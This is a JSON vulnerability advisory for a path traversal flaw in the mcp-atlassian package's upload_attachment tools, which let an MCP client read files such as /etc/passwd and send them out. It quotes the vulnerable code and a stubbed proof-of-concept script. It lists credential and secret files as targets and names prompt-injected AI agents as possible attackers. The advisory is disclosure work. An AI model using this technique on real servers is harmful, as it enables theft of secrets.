Files
vuln-osv/data/PyPI/GHSA-mfv2-4wvm-9pgp.json

1 line
8.4 KiB
JSON
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
{"schema_version":"1.9.0","id":"GHSA-mfv2-4wvm-9pgp","published":"2026-09-22T20:35:06Z","modified":"2026-10-01T17:55:39.363163041Z","aliases":["CVE-2026-77266","PYSEC-2026-4097"],"summary":"MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read and exfiltration via MCP tool call","details":"### Summary\n\nThe `upload_attachment` functions in both the Jira and Confluence modules accept a user-controlled `file_path` parameter and open the specified file for reading **without calling `validate_safe_path()`**. An authenticated MCP client can supply an arbitrary path such as `/etc/passwd` or `/proc/self/environ`, causing the server process to read and transmit the file's contents to the remote Atlassian instance as an attachment.\n\nThis is an **incomplete fix** relative to GHSA-xjgw-4wvw-rgm4: the `download_attachment` and `download_issue_attachments` paths were hardened with `validate_safe_path()`, but the upload direction was left unguarded in both the Jira and Confluence modules.\n\n---\n\n### Details\n\n**Affected functions:**\n\n| File | Function | Line |\n|------|----------|------|\n| `src/mcp_atlassian/jira/attachments.py` | `upload_attachment()` | ~372–415 |\n| `src/mcp_atlassian/confluence/attachments.py` | `upload_attachment()` | ~62–108 |\n| `src/mcp_atlassian/confluence/attachments.py` | `_upload_attachment_direct()` | ~476–477 |\n\n**Jira — vulnerable code path (`jira/attachments.py`):**\n\n```python\ndef upload_attachment(self, issue_key: str, file_path: str) -> dict:\n ...\n if not os.path.isabs(file_path):\n file_path = os.path.abspath(file_path) # resolves relative paths\n\n if not os.path.exists(file_path): # confirms file exists\n ...\n\n # ⚠ validate_safe_path() is NEVER called here\n filename = os.path.basename(file_path)\n with open(file_path, \"rb\") as file: # arbitrary file opened\n attachment = self.jira.add_attachment(\n issue_key=issue_key, filename=file_path\n )\n```\n\nCompare with the **protected** download path in the same file:\n\n```python\ndef download_attachment(self, url: str, target_path: str) -> bool:\n ...\n validate_safe_path(target_path) # upload has no equivalent\n```\n\n**Confluence — vulnerable code path (`confluence/attachments.py`):**\n\n```python\ndef upload_attachment(self, content_id, file_path, ...):\n ...\n if not os.path.isabs(file_path):\n file_path = os.path.abspath(file_path)\n\n # ⚠ validate_safe_path() is NEVER called\n filename = os.path.basename(file_path)\n attachment = self._upload_attachment_direct(\n content_id, file_path, filename, comment, minor_edit\n )\n\n# Inside _upload_attachment_direct():\nfiles = {\"file\": (filename, open(file_path, \"rb\"))} # ← arbitrary file opened\n```\n\n---\n\n### PoC\n\nTested against commit `d8bc786` (v0.21.1, latest `main`). No real Atlassian credentials required — the API call is stubbed.\n\n**Jira PoC (`poc_001_jira_path_traversal.py`):**\n\n```python\nimport sys, os, types\nfrom unittest.mock import MagicMock\n\nsys.path.insert(0, \"src\")\n\ndef _make_pkg(name):\n m = types.ModuleType(name); m.__path__ = []; sys.modules[name] = m; return m\n\natlassian_pkg = _make_pkg(\"atlassian\")\natlassian_jira = _make_pkg(\"atlassian.jira\")\natlassian_pkg.jira = atlassian_jira\natlassian_jira.Jira = type(\"Jira\", (), {\n \"__init__\": lambda s, *a, **k: None,\n \"_session\": MagicMock()\n})\natlassian_pkg.Jira = atlassian_jira.Jira\nkeyring = _make_pkg(\"keyring\")\nkeyring.get_password = keyring.set_password = lambda *a, **k: None\n\nfrom mcp_atlassian.jira.attachments import AttachmentsMixin\nfrom mcp_atlassian.jira.config import JiraConfig\n\nconfig = JiraConfig(url=\"https://test.atlassian.net\", auth_type=\"basic\",\n username=\"x\", api_token=\"x\")\n\nclass FakeFetcher(AttachmentsMixin):\n def __init__(self):\n self.config = config\n self.jira = MagicMock()\n self.jira.add_attachment.return_value = {\"id\": \"99\", \"filename\": \"passwd\"}\n\nresult = FakeFetcher().upload_attachment(issue_key=\"TEST-1\", file_path=\"/etc/passwd\")\nprint(result)\n```\n\n**Observed output — Jira (Kali Linux, v0.21.1):**\n\n<img width=\"1342\" height=\"131\" alt=\"image\" src=\"https://github.com/user-attachments/assets/70f4a55e-428d-4790-80c1-631a24337dbc\" />\n\n```\n[*] Target file : /etc/passwd\n[*] Calling : AttachmentsMixin.upload_attachment()\n\n[*] Return value: {'success': True, 'issue_key': 'TEST-1', 'filename': 'passwd', 'size': 3388, 'id': '99'}\n[*] Files opened: ['/etc/passwd']\n\n[!!!] VULNERABLE — file opened with no path validation\n add_attachment call args: call(issue_key='TEST-1', filename='/etc/passwd')\n```\n\n**Observed output — Confluence (Kali Linux, v0.21.1):**\n\n<img width=\"2682\" height=\"576\" alt=\"image\" src=\"https://github.com/user-attachments/assets/17fc641f-6c62-4e3f-87d0-81d6977f5004\" />\n\n```\n[*] Target file : /etc/passwd\n[*] Calling : ConfluenceAttachmentsMixin.upload_attachment()\n\n[*] Return value: {'success': True, 'content_id': '123456', 'filename': 'passwd', 'size': 3388, 'id': 'att-99'}\n[*] Files opened: ['/etc/passwd']\n\n[!!!] VULNERABLE — /etc/passwd opened without validate_safe_path()\n upload_attachment() → _upload_attachment_direct() → open(file_path)\n download_attachment() in same file IS protected — asymmetric fix\n```\n\nKey evidence:\n- `success: True` — no exception raised, no path validation triggered\n- `size: 3388` — `/etc/passwd` was opened and read by `os.path.getsize()`\n- Both modules affected independently — neither Jira nor Confluence has an upload-side guard\n\nIn a live deployment, the file content is streamed directly to the Atlassian API and stored as a visible attachment on the issue or page.\n\n---\n\n### Impact\n\nAny authenticated MCP client — including a compromised AI agent, a prompt-injected session, or a malicious plugin — can read and exfiltrate arbitrary files readable by the server process:\n\n- `/etc/shadow` — system password hashes\n- `/proc/self/environ` — process environment variables (API keys, secrets)\n- `~/.mcp-atlassian/oauth-*.json` — stored OAuth refresh tokens\n- SSH private keys, TLS certificates, application configuration files\n\nNo special privileges beyond standard MCP tool access are required. The vulnerability affects both HTTP-mode (multi-user) and stdio-mode (local) deployments. Both the `jira_upload_attachment` and `confluence_upload_attachment` MCP tools are affected.\n\n**Root cause:** The `validate_safe_path()` utility introduced in GHSA-xjgw-4wvw-rgm4 was applied only to *download* operations. The upload path in both modules was never patched, leaving a symmetric file-read vector open.","affected":[{"package":{"name":"mcp-atlassian","ecosystem":"PyPI","purl":"pkg:pypi/mcp-atlassian"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.22.0"}]}],"versions":["0.1.1","0.1.10","0.1.11","0.1.12","0.1.13","0.1.14","0.1.15","0.1.16","0.1.2","0.1.3","0.1.4","0.1.6","0.1.7","0.1.8","0.1.9","0.10.0","0.10.1","0.10.2","0.10.3","0.10.4","0.10.5","0.10.6","0.11.0","0.11.1","0.11.10","0.11.11","0.11.12","0.11.2","0.11.2a2","0.11.3","0.11.4","0.11.5","0.11.6","0.11.7","0.11.8","0.11.9","0.12.0","0.13.0","0.13.1","0.14.0","0.14.1","0.14.2","0.14.3","0.15.0","0.16.0","0.16.1","0.17.0","0.18.0","0.18.1","0.19.0","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.20.0","0.20.1","0.21.0","0.21.1","0.3.0","0.3.1","0.4.0","0.5.0","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.7.0","0.7.1","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-mfv2-4wvm-9pgp/GHSA-mfv2-4wvm-9pgp.json"}}],"references":[{"type":"WEB","url":"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-mfv2-4wvm-9pgp"},{"type":"WEB","url":"https://github.com/sooperset/mcp-atlassian/pull/1448"},{"type":"WEB","url":"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"},{"type":"PACKAGE","url":"https://github.com/sooperset/mcp-atlassian"},{"type":"WEB","url":"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"}],"database_specific":{"cwe_ids":["CWE-22"],"github_reviewed":true,"github_reviewed_at":"2026-09-22T20:35:06Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}]}